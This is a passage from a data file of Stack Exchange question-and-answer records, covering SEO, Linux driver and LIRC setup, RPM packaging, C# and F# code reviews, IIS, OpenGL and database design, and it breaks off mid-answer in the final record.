{  "id": "_webmaster.35717"  , "question": "Hi I have a site and my site map is being indexed by google correctly (almost I have 1.165 links and it indexed 1.156).But when I go to the Indexed pages view in Google webmaster tools it only show 60 indexed pages and also I am not getting a lot of keywords because of that.How can I improve that ?My site is a single page Ajax filled app and I create a sitemap so google can find my content."  , "title": "My sitemap is indexed but I don't see the site pages being indexed"  , "tags": "seo;google;google search console"  , "accepted_answer": "Get more links to your pages particularly the ones that aren't indexed yet. Google does not automatically index every page it knows about and that includes URLs submitted via sitemap. Sitemaps are meant to inform the search engines of the existence of pages but in no way guarantees inclusion in a search engine's index."  } 
{  "id": "_unix.386485"  , "question": "I need to connect additional monitors on my computer and I get Fresco Logic FL2000DX USB display adapters. This adapters works perfect on Windows but I need to use on my development machine based on Ubuntu 16.04.I find this on git hub: https://github.com/fresco-fl2000/fl2000 and try to install it but installation fail. Can anyone help me regarding this?Thanks!"  , "title": "How to properly install USB display driver for Fresco Logic FL2000DX on Ubuntu?"  , "tags": "ubuntu;drivers;display settings;proprietary drivers"  } 
{  "id": "_unix.226889"  , "question": "I am installing CentOS 7 in a 200GB partition of a 2TB hard drive whose other partitions will later become managed by this master CentOS 7 installation.  How big should the boot mount installation be? In my CentOS 7 devbox, navigating to the /boot directory and typing du results in about 195MB.  So is 230MB big enough for the boot mount point capacity?  What factors should I consider in planning the size of the /boot mount point capacity?"  , "title": "how big should the /boot directory be in a CentOS 7 server?"  , "tags": "centos;mount;boot"  } 
{  "id": "_softwareengineering.206205"  , "question": "I have a set of classes from a 3rd party library. These classes use an inheritance structure to share logic. I would like to add a layer of abstraction in the middle of their inheritance tree to add functionality to all of the children (concrete) implementations.Here is a simplified example of the classes in the 3rd party lib:public interface IAnimal{    bool IsMammal { get; }}public abstract class Animal : IAnimal{    public abstract bool IsMammal { get; }    public string Name { get; set; }}public class Cat : Animal{    public override bool IsMammal { get { return true; } }    public void Pur() {}}public class Dog : Animal{    public override bool IsMammal { get { return true; } }    public void Fetch() {}}public class Snake : Animal{    public override bool IsMammal { get { return false; } }    public void ShedSkin() {}}I would like to add the concept of an AnimalWithSuperPower. These types of animals should have 1 additional Property; SuperPower. I would like to be able to have classes like CatWithSuperPower which derive from Cat, AnimalWithSuperPower, & Animal so that I can access all the functionality of those.Here is the definition of SuperPower:public enum SuperPower { Invisibility, SuperStrength, XRayVision }My first idea was to use multiple inheritance. But unfortunately, C# doesn't support multiple base classes.private abstract class AnimalWithSuperPower : Animal{    public SuperPower SuperPower { get; set; }}// doesn't compile because you can't extend 2 classesprivate class DogWithSuperPower : AnimalWithSuperPower, Dog {}My next attempt uses a combination of inheritance, composition, and generics to try to deliver the functionality of the base classes.private abstract class AnimalWithSuperPower<TAnimalType> : Animal where TAnimalType : IAnimal{    public SuperPower SuperPower { get; set; }    protected readonly TAnimalType Animal;    protected AnimalWithSuperPower()    {        Animal = (TAnimalType) Activator.CreateInstance(typeof(TAnimalType));    }}private class SuperCat : AnimalWithSuperPower<Cat>{    public override bool IsMammal { get { return Animal.IsMammal; } }}private class SuperCatWithPur : AnimalWithSuperPower<Cat>{    public override bool IsMammal { get { return Animal.IsMammal; } }    public void Pur() // needing duplicate pass-through methods/properties like this is painful :(    {        Animal.Pur();    }}private static void ExampleUsage(){    var invisibleCat = new SuperCat { SuperPower = SuperPower.Invisibility };    invisibleCat.Pur(); // doesn't compile - can't access Pur() method because doesn't extend Cat    var xrayCat = new SuperCatWithPur { SuperPower = SuperPower.XRayVision };    xrayCat.Pur(); // only works because I exposed the method with the EXACT same signature}This solution is not very good (IMO) because of these reasons:SuperCat and SuperCatWithPur aren't actually instances of Catany method you wish to use from Cat needs to be mirrored in the container classfeels kind of messy: AnimalWithSuperPower is an Animal but it also takes an Animal type parameterI also tried doing it with an extension method but it wasn't any better than the above two attempts:private abstract class AnimalWithSuperPower : Animal{    public SuperPower SuperPower { get; set; }}private static AnimalWithSuperPower WithSuperPower(this Animal animal, SuperPower superPower){    var superAnimal = (AnimalWithSuperPower) animal;    superAnimal.SuperPower = superPower;    return superAnimal;}private static void ExampleUsage(){    var dog = new Dog { Name = Max };    var superDog = dog.WithSuperPower(SuperPower.SuperStrength);    superDog.Fetch(); // doesn't compile - superDog isn't an instance of Dog}If I had control of the 3rd party classes, I could likely do this cleanly by introducing a new class in the middle of the inheritance tree, but I can'tMy Question:How can I model AnimalWithSuperPower so that:instances are considered of types Cat (or appropriate sub-class), Animal, & AnimalWithSuperPowerall the methods and properties are available without extra pass-through calls"  , "title": "Adding base-class (inherited) functionality to classes that you don't control"  , "tags": "c#;inheritance;modeling;generics;multiple inheritance"  , "accepted_answer": "Why don't you just use interfaces?If you're concerned about sharing functionality, you can use extension methods to serve as your pseudo-base class.  It's not exactly ideal, but it should get what you're looking for done.Something along the lines of:public interface IAnimalWithSuperPower {    public SuperPower power { get; set; }}public class SuperCat : Cat, IAnimalWithSuperPower {    public SuperPower power { get; set; }    public SuperCat() {        SuperPower = SuperPower.SuperStrength;    }}public static void UseSuperPower(this IAnimalWithSuperPower animal) {    animal.power.doSomething();}"  } 
{  "id": "_codereview.108231"  , "question": "The proper title of this question should be Summations and products, and factorials oh my!.After getting quite a bit of useful feedback on this question from @mjolka, and a comment, I decided that there were many things to be improved.These are the following things that I've added/changed:A factorial function which uses the product function.Support for getting the sum, and product of sequences with no elements.Strongly typed anonymous function parameters.Again, for those who don't know, a summation is defined as follows:$$\\sum_{n=a}^{b}f(n)$$And a product is defined as follows:$$\\prod_{n=a}^{b}f(n)$$I'd like to know the following things, which are more or less mostly the same as the ones in the last question:Am I writing this in a proper functional way?How can I reduce the repetitiveness in my code?Is there a way to improve performance? It already runs pretty fast, at approximately \\$0.025\\$ seconds for inputs of \\$10\\$).Anything else?Here's the code:let inline summation (f: (double -> double)) low high =    match (low, high) with    | (low, high) when low <> high ->        { low .. high }         |> Seq.map f        |> Seq.sum    | (low, high) when low = high -> 0.0    | _ -> -1.0let inline product (f: (double -> double)) low high =    match (low, high) with    | (low, high) when low <> high ->        { low .. high }        |> Seq.map f        |> Seq.fold Checked.op_Multiply 1.0    | (low, high) when low = high -> 1.0    | _ -> -1.0let inline factorial n =    product (fun x -> x) 1.0 nHere's a few small tests to ensure that the code works:[<EntryPoint>]let main argv =    System.Console.WriteLine(summation (fun x -> x) 1.0 10.0)    System.Console.WriteLine(product (fun x -> x) 1.0 10.0)    System.Console.WriteLine(factorial 10.0)    0And here's expected output of the above tests:5536288003628800"  , "title": "Summations and products and factorials oh my"  , "tags": "functional programming;mathematics;f#"  , "accepted_answer": "There are a few problems with this code.If low = high then product f low high should be equal to f low. In this code, it is equal to 1.Similarly, if low = high then summation f low high should be equal to f low. In this code, it is equal to 0.The code posted in my previous answer already correctly deals with empty sequences:> let inline summation f low high = Seq.map f { low .. high } |> Seq.sum ;;val inline summation :  f:( ^a ->  ^b) -> low: ^a -> high: ^a ->  ^b    when  ^a : (static member get_One : ->  ^a) and          ^a : (static member ( + ) :  ^a *  ^a ->  ^a) and  ^a : comparison and          ^b : (static member ( + ) :  ^b *  ^b ->  ^b) and          ^b : (static member get_Zero : ->  ^b)> summation id 0 -10 ;;val it : int = 0> let inline product f low high = Seq.map f { low .. high } |> Seq.fold Checked.(*) LanguagePrimitives.GenericOne< _ > ;;val inline product :  f:( ^a ->  ^b) -> low: ^a -> high: ^a ->  ^c    when  ^a : (static member get_One : ->  ^a) and          ^a : (static member ( + ) :  ^a *  ^a ->  ^a) and  ^a : comparison and         ( ^c or  ^b) : (static member ( * ) :  ^c *  ^b ->  ^c) and          ^c : (static member get_One : ->  ^c)> product id 0 -10 ;;val it : int = 1The third case of each function definition seems to be there just to get rid of the warning about incomplete pattern matches.Since the second case of the match is incorrect, and the third case should never run, we can do away with the pattern matching.There is no need to constrain the type of f. Doing so removes the benefits of declaring the functions inline.Whenever you find yourself writing (fun x -> x) you can just replace it with id."  } 
{  "id": "_webmaster.85101"  , "question": "We have two websites whose content align with each other:Site #1 -  Industry editorial website that provides high quality, original and current content. This site is mature and has high authority relatively speaking. Site #2 -  Industry resource website that educates general public and insiders about the industry. Content is professionally written with fantastic art and basically breaks down different manufacturing processes/materials and walks people through the benefits.Would it be a sound approach to add anchor text/link within articles on site #1 to site #2? Below are a few scenarios:1) Article on site #1 is about using [manufacturing process] to make something and site #2 has a page that describes [manufacturing process] in great detail.2) Article on site #1 is about using [material] and site #2 has a page that describes [material] in great detail.3) Article on site #1 is about why it's beneficial to use a particular [material] or [manufacturing process] and site #2 has a page that describes all benefits of [material] or [manufacturing process] in great detail.Obviously, these links will only be sprinkled in here and there and not in every article. It should provide users with more insight but will search engines see it that way?"  , "title": "Using your other web properties for link building"  , "tags": "seo;google;backlinks"  } 
{  "id": "_webapps.4002"  , "question": "Say I have a car dealership with a website.Is there any legal or YouTube usage issues in creating a YouTube profile and uploading videos of cars for sale, and putting car, dealership and website info/links in the video descriptions?And does the same thing apply to Facebook and Vimeo?"  , "title": "Using YouTube to sell cars"  , "tags": "youtube"  , "accepted_answer": "It is completely fine to upload videos to YouTube for commercial purposes, with links to your site, etc.From the YouTube TOS:http://www.youtube.com/t/termsProhibited commercial uses do not include:- uploading an original video to YouTube, or maintaining an original channel on YouTube, to promote your business or artistic enterprise; - showing YouTube videos through the Embeddable Player on an ad-enabled blog or website, subject to the advertising restrictions set forth above in Section 4.D;  - or any use that YouTube expressly authorizes in writing.And given this: http://www.google.com/support/youtube/bin/answer.py?answer=71011&hl=en-US, it appears to be fine even to embed those videos for commercial (non-ad) usage.We've updated our Terms of Use to  clarify what kinds of uses of the  website and the YouTube Embeddable  Player are permitted. We don't want to  discourage you from putting the  occasional YouTube video in your blog  to comment on it or show your readers  a video that you like, even if you  have general-purpose ads somewhere on  your blog. We will, however, enforce  our Terms of Use against, say, a  website that does nothing more than  aggregate a bunch of embedded YouTube  videos and intentionally tries to  generate ad revenue from them.Vimeo however appears to be a different story:Vimeo is intended for non-commercial use. By using the Site, you agree to abide by these Terms of Service.Facebook I believe is fine, as many of the largest brands in the world use it for promotion, such as Coca Cola and Pepsi - so I think yours would be fine.Hope this helps."  } 
{  "id": "_codereview.17662"  , "question": "I am trying to generate LCM by prime factorization. I have already done the other way around to generate LCM using GCD but I am trying to achieve it using prime factorization. I am getting right prime factors but the problem is that to generate LCM we need to multiply each factor the greatest number of times it occurs in either number's factors. ReferenceNow I don't like the code I come up with to achieve this. The logic is to retrieve factors of both numbers and then create a hash/counter for each factor. Finally multiply the factor with the result so far and the greatest number of times in each hash counter list.I would like to request to review my all methods IsPrime, PrimeFactors, LeastCommonMultipleByPrimeFactorization etc. In particular the main LeastCommonMultipleByPrimeFactorization method. Please feel free to pass your comments and suggestions. I would be happy to see some simplest way to achieve this. Code snippet:    public static bool IsPrime(int n)    {        for (int i = 2; i <= n; i++)        {            if (n % i == 0)            {                if (i == n)                    return true;                else                    return false;            }        }        return false;    }    public static int[] PrimeFactors(int n)    {        var factors = new List<int>();        for (int i = 2; i <= n; i++)        {            while (n % i == 0 && IsPrime(i))            {                factors.Add(i);                n = n / i;            }        }        return factors.ToArray();    }    public static int LeastCommonMultipleByPrimeFactorization(int m, int n)    {        //retrieve prime factors for both numbers        int[] mFactors = PrimeFactors(m);        int[] nFactors = PrimeFactors(n);        //generate hash code to get counter for each factor         var mFactorsCountHash = CreateCounterHash(mFactors);        var nFactorsCountHash = CreateCounterHash(nFactors);        var primeFactors = new List<int>();        primeFactors.AddRange(mFactors);        primeFactors.AddRange(nFactors);        int result = 1;        //On each distinct factor... check either which number factors         foreach (int factor in primeFactors.Distinct())        {            int mfactorCount = 0;            int nfactorCount = 0;            if (mFactorsCountHash.ContainsKey(factor))            {                mfactorCount = mFactorsCountHash[factor];            }            if (nFactorsCountHash.ContainsKey(factor))            {                nfactorCount = nFactorsCountHash[factor];            }            int numberOfCount = mfactorCount > nfactorCount ? mfactorCount : nfactorCount;            result = factor * result * numberOfCount;        }        return result;    }    private static Dictionary<int, int> CreateCounterHash(IEnumerable<int> mFactors)    {        Dictionary<int, int> hash = new Dictionary<int, int>();        foreach (var factor in mFactors)        {            if (hash.ContainsKey(factor))                hash[factor]++;            else                hash.Add(factor, 1);        }        return hash;    }To test method, I am using following code[Test]    public void LeastCommonMultipleByPrimeFactorizationPositiveTest()    {        Assert.AreEqual(42, ArthmeticProblems.LeastCommonMultipleByPrimeFactorization(21, 6));        Assert.AreEqual(12, ArthmeticProblems.LeastCommonMultipleByPrimeFactorization(4, 6));    }Note: This is just for fun and revision of my basic concepts"  , "title": "Prime numbers, Prime Factors and LCM"  , "tags": "c#;algorithm;primes"  , "accepted_answer": "IsPrimepublic static bool IsPrime(int n){    for (int i = 2; i <= n; i++)    {        if (n % i == 0)        {            if (i == n)                return true;            else                return false;        }    }    return false;}Under what circumstances can the final return false be reached? Why not handle those special cases explicitly, and then simplify the loop body by reducing it?public static bool IsPrime(int n){    if (n < 1) throw new ArgumentException(n);    if (n == 1) return false;    for (int i = 2; i < n; i++)    {        if (n % i == 0) return false;    }    return true;}Of course, there are better ways of testing primality than trial division, but that's beside the point.PrimeFactorspublic static int[] PrimeFactors(int n){    var factors = new List<int>();    for (int i = 2; i <= n; i++)    {        while (n % i == 0 && IsPrime(i))        {            factors.Add(i);            n = n / i;        }    }    return factors.ToArray();}Any particular reason for returning int[] instead of IEnumerable<int>?What's the purpose of the IsPrime call there? It's easy to prove that it always returns true (and so the IsPrime method isn't needed at all).As a point of style, I prefer op= methods, but this is really subjective.The loop guard might be more intelligible as n > 1.public static IEnumerable<int> PrimeFactors(int n){    var factors = new List<int>();    for (int i = 2; n > 1; i++)    {        while (n % i == 0)        {            factors.Add(i);            n /= i;        }    }    return factors;}CreateCounterHashprivate static Dictionary<int, int> CreateCounterHash(IEnumerable<int> mFactors){    Dictionary<int, int> hash = new Dictionary<int, int>();    foreach (var factor in mFactors)    {        if (hash.ContainsKey(factor))            hash[factor]++;        else            hash.Add(factor, 1);    }    return hash;}Why does the return type use the implementation Dictionary rather than the interface IDictionary?Why hard-code the type? You don't do anything with it other than equality checking, so it could be IDictionary<T, int> CreateCounterHash<T>(IEnumerable<T> elts) (and then could potentially be an extension method of IEnumerable<T>).ContainsKey followed by a get is a minor inefficiency. Since TryGetValue will give default(int) (i.e. 0) if the key isn't, found, this can be fixed:private static IDictionary<T, int> CreateCounterHash<T>(IEnumerable<T> elts){    Dictionary<T, int> hash = new Dictionary<T, int>();    foreach (var elt in elts)    {        int currCount;        hash.TryGetValue(elt, out currCount);        hash[elt] = currCount + 1;    }    return hash;}LCMpublic static int LeastCommonMultipleByPrimeFactorization(int m, int n){    //retrieve prime factors for both numbers    int[] mFactors = PrimeFactors(m);    int[] nFactors = PrimeFactors(n);    //generate hash code to get counter for each factor     var mFactorsCountHash = CreateCounterHash(mFactors);    var nFactorsCountHash = CreateCounterHash(nFactors);    var primeFactors = new List<int>();    primeFactors.AddRange(mFactors);    primeFactors.AddRange(nFactors);    int result = 1;    //On each distinct factor... check either which number factors     foreach (int factor in primeFactors.Distinct())    {        int mfactorCount = 0;        int nfactorCount = 0;        if (mFactorsCountHash.ContainsKey(factor))        {            mfactorCount = mFactorsCountHash[factor];        }        if (nFactorsCountHash.ContainsKey(factor))        {            nfactorCount = nFactorsCountHash[factor];        }        int numberOfCount = mfactorCount > nfactorCount ? mfactorCount : nfactorCount;        result = factor * result * numberOfCount;    }    return result;}Looks buggy: factor * numberOfCount will only be correct when numberOfCount == 1 or factor == 2 && numberOfCount == 2.Also a tad repetitive. Can't you merge the two counts earlier?public static IDictionary<K, V> MergeDictionaries<K, V>(IDictionary<K, V> d1,                                                        IDictionary<K, V> d2,                                                        Func<V, V, V> mergeFunc){    // Left as an exercise    // Only call mergeFunc when both dictionaries contain the key}You can also use a bit of Linq to do the aggregate, so the LCM simplifies topublic static int LeastCommonMultipleByPrimeFactorization(int m, int n){    //retrieve prime factors for both numbers    int[] mFactors = PrimeFactors(m);    int[] nFactors = PrimeFactors(n);    //generate hash code to get counter for each factor     var mFactorsCountHash = CreateCounterHash(mFactors);    var nFactorsCountHash = CreateCounterHash(nFactors);    var combinedCounts = MergeDictionaries(mFactorsCountHash, nFactorsCountHash, Math.Max);    return combinedCounts.Aggregate(1, (prod, primeWithMult) => prod * pow(primeWithMult.Key, primeWithMult.Value));}"  } 
{  "id": "_webmaster.106481"  , "question": "This is a WordPress page (not blog post), how do I remove this X days ago text from SERP?I looked for answers on Google and all of them are for blog posts, not pages"  , "title": "How to remove X days ago on WordPress page from Google SERP?"  , "tags": "google;google search;html;wordpress;serps"  } 
{  "id": "_webmaster.81439"  , "question": "I am not sure what an application pool is in IIS. I did manage to find a basic explanation, boiling down to:Websites can be assigned to application pools, all application pools containing specific settings for applications (allowing you to isolate websites).Looking at the documentation, it seems there is much more to it. I cannot find a good explanation though."  , "title": "What is an application pool in IIS?"  , "tags": "iis;iis6"  , "accepted_answer": "Applications Pools are a way to segregate the worker processes that on IIS between web applications. They provide the ability to group common applications together so that they can share resources.Each Application Pool has their own set of worker processes assigned to and and does not share processes with other pools. This way, the worker processes for one application pool can not communicate directly with the worker processes of another pool (thus protecting the applications from one another). For example, putting applications for different clients into individual pools to prevent their application's processes from talking to other client's processes.Additionally, it allows more worker processes to be allocated to pools to need them. For example, you might assign more worker processes to a customer-facing store website to handle extra load and fewer to a customer facing support site that might not need the resources for static content."  } 
{  "id": "_computerscience.2434"  , "question": "I am making a 2d game in opengl es 2.0Inside are tons of rectangles defined by 4 points and one 4 component color. I am using vertex buffer objects, and I have heard that it is efficent to interlace the data. So like traditionally you would doCorner.xCorner.yCorner.zCorner.rgba(repeat for each corner) However in my situations two assumptions can be made that can probably make things faster1. All the rectangles z values are 02. All corners of the rectangle have the same color. Is it possible, and what would it look like to have a buffer object structured like this. Corner.xyCorner.xyCorner.xyCorner.xyColor.rgba? Is it even possible to have opengl assume that the Z is always 0? Is it possible to reuse the color like to hat? "  , "title": "Interlacing vertex buffer data with extra efficiency"  , "tags": "opengl es"  , "accepted_answer": "Is it even possible to have opengl assume that the Z is always 0?Yes it is. Just set the component count to 2 in glVertexAttribPointer and the other 2 components (z and w) will be auto filled with 0 and 1 resp.Is it possible to reuse the color like to hat? No it is not. Opengl (and most other graphics apis) require that each vertex is referenced by only a single index."  } 
{  "id": "_unix.258924"  , "question": "I have an infrared remote control which sends RC-5 signals and a computer with an IR receiver. The computer runs Debian 8 and I'm trying to set up LIRC so that I can control the music player daemon (MPD) with the remote.I have installed the lirc package and added a configuration file for RC-5 signals in /etc/lirc/lircd.conf.d/.The daemon seems to be active:$ systemctl status lirc.service  lirc.service - LSB: Starts LIRC daemon.   Loaded: loaded (/etc/init.d/lirc)   Active: active (exited) since Sun 2016-01-31 20:18:17 CET; 32s ago  Process: 408 ExecStart=/etc/init.d/lirc start (code=exited, status=0/SUCCESS)However, when I try to test the remote control with irw it fails:$ irwconnect: No such file or directoryAccording to man irw this seems to be cause by the absence of the socket file /var/run/lirc/lircd. The directory /var/run/lirc is empty.Any clues would be greatly appriciated."  , "title": "Setting up LIRC in Debian 8"  , "tags": "debian;remote control"  , "accepted_answer": "Here are the steps I needed to perform to make it work. Initially I got stuck at step two.Install LIRC:# apt-get install lircIn /etc/lirc/hardware.conf, set DRIVER and DEVICE:DRIVER=defaultDEVICE=/dev/lirc0Download a configuration file for the remote control and copy it to /etc/lirc/lircd.conf. In my case the protocol is RC-5 and I found a working configuration file at http://lirc.sourceforge.net/remotes/rc-5/RC-5.Restart the LIRC daemon:# systemctl restart lircTo find out the name for each button, run irw, point the remote control to the IR receiver and press buttons.Specify what should happen when a button is pressed in the file /etc/lirc/lircrc. Here is the file I created for MPD:begin    button = sys_14_command_21    prog   = irexec    config = mpc prevendbegin    button = sys_14_command_20    prog   = irexec    config = mpc nextendbegin    button = sys_14_command_35    prog   = irexec    config = mpc playendbegin    button = sys_14_command_30    prog   = irexec    config = mpc pauseendbegin    button = sys_14_command_36    prog   = irexec    config = mpc stopendStart irexec:$ irexec --daemon"  } 
{  "id": "_unix.370001"  , "question": "Intro:The following was done on a RHEL 6.9 32bit OS.I installed the oracle (not openjdk) version of JRE rpm using the rpm -Uvh command.I then built a package using rpmbuild that requires libjvm.so which is provided by the oracle JRE and verified this using the command.rpm -ql jre1.8.0_111-1.8.0_111-fcs.i586Problem:However, when I go to install the rpm I built or use the command rpm -q libjvm.so I am getting told that libjvm.so is not installed.I know I can put in the spec file for my rpm AutoReqProv: noto get around the dependency issue, however, that does not seem like good practice and I have also rebuilt the rpm database to no avail.Question:Thus I am left pondering and trying to solve, how the jre rpm says it provides libjvm.so yet the RPM database keeps saying that the dependency libjvm.so is not installed. Any ideas?EDITThe JRE rpm also provides the followingjaxp_parser_impl  xml-commons-apis  java  java-1.8.0  java-fonts  jre  jre-1.8.0  jre1.8.0_111 = 1.8.0_111-fcs"  , "title": "RPM database not seeing file installed as part of RPM"  , "tags": "rhel;rpm;java;dependencies"  , "accepted_answer": "The libjvm.so requirement in the OpenJDK packages comes from$ rpm -qp --provides java-1.8.0-openjdk-headless-1.8.0.121-1.b13.el6.x86_64.rpm \\  2>/dev/null | grep libjvmlibjvm.so()(64bit)libjvm.so(SUNWprivate_1.1)(64bit)which the Oracle RPM by contrast does not provide. Apart from removingthat requirement from the package you are building (either with the hammer that is AutoReqProv or more complicated options involving the dependency scripts) another option is tocreate a shim package that does nothing more than provide the necessaryrequirement (and possibly to Conflict with OpenJDK).Name:           shim-libjvmVersion:        1Release:        1%{?dist}Summary:        Shim for libjvmGroup:          Development/LanguagesLicense:        CC BY-SA 3.0URL:            http://example.orgProvides:       libjvm.soBuildArchitectures: noarch%descriptionShim for libjvm%installmkdir -p %{buildroot}/usr/share/doc/shim-libjvmecho shim-libjvm is merely a provider for libjvm.so > %{buildroot}/usr/share/doc/shim-libjvm/README%files%doc/usr/share/doc/shim-libjvm/README%changelog* Thu Jun  8 2017 John Doe <jdoe@example.org>- Release on a mostly unsuspecting world."  } 
{  "id": "_unix.64344"  , "question": "I want to delete duplicates in a massive bunch of images. Well as I have dups of the same picture in a different resolution I will make the deletion myself. BUT I want to do this in linear time. So I thought it woud be smart to sort the images via renaming the images with an average color prefix with a little script. The problem is that I don't know any software that is able to compute the average color in the CLI. Is there any?"  , "title": "Delete duplicate images. Need Software for computing average color of an image"  , "tags": "colors;sort;images"  , "accepted_answer": "Finally I played around a while and found the ImageMagick software pack. It's great because it lets me do it in a one-liner in the console without the need for a script.for i in ./*; do mv $i $(convert $i -scale 1x1\\! -format '%[pixel:s]' info:- | cut -db -f2-)${i#./} ;doneIt just does nothing more than loop through the folder (precondition: it just contains images!), get the average color via convert $i -scale 1x1\\! -format '%[pixel:s]' info:- extract the relevant part from the output cut -db -f2- and finally rename the file. Horribly how well it worked.Greets"  } 
{  "id": "_softwareengineering.156512"  , "question": "I have a c++/cli tcp client application sending a data in a specific format like L,20100930033425093,-5.929958,13.164021to a main application on port 9000.The main application is actually done by the other vendor and I dont have the source code for that.Now,I can communicate to the desired application using the IP and Port No.But the data supposed to be visible on the Main Application GUI is not showing up. But I used a different socket server demo application with same IP as the main application to receive the data I am sending.It works perfectly fine. Now I do not know where the error is or whether the stream is received on the other side. How can I effectively solve this situation. I am asking this in a broader picture to get some ideas.Any suggestions or discussion on this will be helpful?"  , "title": "How to find an error in a tcp server application for which there is no source code"  , "tags": "c++;.net;problem solving;sockets"  } 
{  "id": "_cs.41827"  , "question": "A rather basic question but I am confused about the characterization of a certain local search method which I want to describe in the framework of EAs. In particular, consider an EA which in every step of the evolution has a neighborhood of size 2; one element in the neighborhood is the current hypothesis (hypothesis in the traditional sense of learning theory) and the other element in the neighborhood is another hypothesis that has arisen from the current hypothesis after applying some transformation/mutation. It is clear that for such algorithms in the neighborhood we can find at most 1 hypothesis that has strictly better fitness compared to our current hypothesis (our current hypothesis is neutral compared to our current hypothesis). Thus, my question is, how would one characterize an algorithm of this form that always picks among the beneficial set if the set is non-empty, otherwise it would pick among the neutral set (at random - or with some prescribed probability distribution)? Note that the neutral set is always non-empty as the current hypothesis is always there. So, can this algorithm be described as a $(1+1)$-EA or should it be described as a $(1, 1)$-EA? Is there a difference between a $(1+1)$-EA and a $(1, 1)$-EA?And since we are here, if anyone would be able to clarify the following I would be indebted. What is the difference between a $(1+k)$-EA and a $(1, k)$-EA for $k > 1$. As far as I have understood the comma description (i.e. $(1, k)$-EA) refers to the fact that the algorithm picks the most fit hypothesis among the $k+1$ elements in the neighborhood. The understanding that I have for $(1+k)$-EAs is that they pick at random (however that will be defined) among the hypotheses that have strictly larger fitness values compared to the current hypothesis. Is this understanding correct?Thank you for your time in advance."  , "title": "A clarification on the taxonomy of Evolutionary Algorithms"  , "tags": "machine learning;genetic algorithms;learning theory;evolutionary computing"  , "accepted_answer": "I'm not 100% sure I understand your formulation (things like our current hypothesis is neutral compared to our current hypothesis are a bit confusing), but if I understand it correctly, it's this:You have a current solution and at each time step, you generate a new one based on the current one and some random variation operator. If the new one is better than the current one, you accept the new one. Otherwise, you keep the current one.That's a $(1+1)$-ES. A $(1,1)$-ES always accepts the new hypothesis/solution, regardless of quality. A $(1,1)$-ES is just a random walk on the graph defined by your variation operator. For a $(\\mu$, $\\lambda)$-ES, the algorithm generates $\\lambda$ hypotheses at each step, and selects the best $\\mu$ of them to form the population for the next generation -- the current hypotheses never survive (unless your variation operator produces a copy of one of them). The $(\\mu+\\lambda)$ strategy takes the best $\\mu$ from the union of the current population and the new one."  } 
{  "id": "_softwareengineering.219213"  , "question": "In a recent project I was asked to implement an events system. An Event had to have a Location which was originally specced out as simply a physical location with some optional extra notes. Then the spec changed (as they have a habit of doing) and we needed to have online events too. These would not have a physical address but would still need notes on how to attend (e.g. the URL, joining instructions).We decided to adapt the existing Location table by adding an IsOnline field and it wound up looking like this:+-----------------+     +---------------+|      Event      |     |    Location   |+-----------------+     +---------------+| Id              |  .--+ Id            || Name            |  |  | Name          || Summary         |  |  | Address       || Date            |  |  | Postcode      || Capacity        |  |  | IsOnline      || LocationId      +--'  | Notes         |+-----------------+     +---------------+An example of a physical and an online entry in the Location table look like this:+----+----------------+--------------------------------------+----------+----------+---------------------------------------+| Id |      Name      |               Address                | Postcode | IsOnline |                 Notes                 |+----+----------------+--------------------------------------+----------+----------+---------------------------------------+|  1 | Physical Event | 10 Downing Street, London            | SW1A 2AA |        0 | Ask the policeman to let you in       ||  2 | Online Event   | http://programmers.stackexchange.com | null     |        1 | You will need a stackexchange account |+----+----------------+--------------------------------------+----------+----------+---------------------------------------+It works (currently) for our simple use case but it is clearly a bit of a hack and it got me thinking - what would be the correct, normalized way to model this kind of relationship (Where an entity must have an A or a B but not both)?"  , "title": "How should this relationship be structured in a relational database?"  , "tags": "database design;relational database"  , "accepted_answer": "You can keep the fields common to all locations in that table, but have multiple tables handling different location types. You could add a third location-type table like GeoSpacialAddress which would have Lat/Longs instead of physical addresses.This prevents having a lot of null fields. You just have to be aware in your querying and may need to use a UNION to get a complete list of all types addresses. IsOnline can be determined by a location having one or more OnlineAddress records.LocationIDNameNotesOnlineAddressIDLocationIDURLPhysicalAddressIDLocationIDAddressPostCodeGeoSpacialAddressIDLocationIDLatLong"  } 
{  "id": "_webapps.45862"  , "question": "I have a Google presentation with many slides. I tried File Download As  SVG or PNG, but only the first slide was converted. Is there a way to automatically convert all slides to images?"  , "title": "Save all Google presentation slides as images"  , "tags": "images;google presentations"  , "accepted_answer": "If you have access to MS PowerPoint, one option is to save the Docs presentation as a .ppt, and then use the Save As option from PowerPoint which does have all slides option."  } 
{  "id": "_softwareengineering.95718"  , "question": "Design patterns are good, but complex. Should we use them in small projects? Implementing design patterns needs more sophisticated developers, which in turn raises project costs. On the other hand, they make code neat and clean. Are they necessary for small projects?Update: Should we insist on using design patterns when the team is not efficient at working with them?"  , "title": "To design pattern, or not to design pattern"  , "tags": "design patterns"  , "accepted_answer": "Design patterns are good, but complex.This is a false assumption. Design Patterns are meant to strip complexity off existing code and to aid communication between developers. When Design Patterns introduce a higher grade of complexity, then they are misused.Implementing design patters need more sophisticated developers and  which in turn raises project costs.This is also a false assumption. Any developer should strive for a minimum amount of complexity in his code. A good developer is well worth his money as the maintenance and extensibility costs decrease.Are they necessary for small projects?They are necessary when they help making the code more expressive and less complex. This is independent of project size. A good developer (tm) will not overengineer and use them when appropriate."  } 
{  "id": "_softwareengineering.315947"  , "question": "I don't know where else to ask this.I have an Android app I want to release on the store, and I want to charge a low fee for it. But if part of my application uses code I did not write (i.e. code I've added as a dependency to my Gradle file, found through a project's Github page) under the Apache 2.0 license, am I not allowed to charge for my app? Do I have to release the source to my entire project? What am I allowed to do and not allowed to do?"  , "title": "Can you charge for apps that use open source software?"  , "tags": "open source;android;apache license;android market"  } 
{  "id": "_codereview.42851"  , "question": "In my code I have a base type which is OnlinePaymentTransaction:public abstract class OnlinePaymentTransaction{     public abstract void Complete( PaymentGatewayCallbackArgs args );}The problem I am having is that each class that inherits from this base class require different dependency's in the complete method. Currently I have just added the dependency's as extra parameters to the complete method which doesn't seem right. For example my base class is now like this. public abstract class OnlinePaymentTransaction{     public abstract void Complete( Dependency1 dep1, Dependency2 dep2, PaymentGatewayCallbackArgs args );}I cannot inject the dependency's in the constructor as the OnlinePaymentTransactions are retrieved from using nhibernate.What would you recommend because I don't like using ServiceLocator as it hides the dependency and also makes it harder to test. An suggestions would be greatly appreciated."  , "title": "Dependency on overridden method"  , "tags": "c#;dependency injection"  , "accepted_answer": "I cannot inject the dependency's in the constructor as the OnlinePaymentTransactions are retrieved from using nhibernate.There's your problem. Your OnlinePaymentTransaction class is/should-be a POCO whose job is to convey data. The Complete() method doesn't belong on that type, it's breaking SRP and making your life much harder than it needs to be.I'd suggest to introduce another type, call 